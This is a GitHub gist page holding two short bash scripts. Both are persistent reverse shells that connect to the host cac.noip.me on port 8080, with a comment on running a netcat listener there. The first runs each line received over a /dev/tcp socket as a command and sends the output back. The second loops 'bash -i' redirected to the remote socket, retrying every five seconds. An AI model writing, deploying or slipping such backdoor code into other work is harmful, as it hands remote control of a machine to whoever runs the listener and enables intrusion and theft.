Skip to content

Instantly share code, notes, and snippets.

@teopost
Last active November 10, 2017 23:04
Show Gist options
  • Save teopost/c5c3542f628007cd7ca0210585e4b3d1 to your computer and use it in GitHub Desktop.
Save teopost/c5c3542f628007cd7ca0210585e4b3d1 to your computer and use it in GitHub Desktop.
#!/bin/bash
# Exec "nc -l -p 8080 -vvv" on server
host=cac.noip.me
port=8080
while [ 1 ]
do
exec 5<>/dev/tcp/${host}/${port}
if [ $? -eq 0 ]; then
echo "Connessione stabilita..."
cat <&5 | while read line; do $line 2>&5 >&5; done
else
echo "Sleep..."
sleep 5
fi
done
#!/bin/bash
# Exec "nc -l -p 8080 -vvv" on server
host=cac.noip.me
port=8080
while [ 1 ]
do
(bash -i >& /dev/tcp/${host}/${port} 0>&1 ) 2>/dev/null
echo "Sleep..."
sleep 5
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment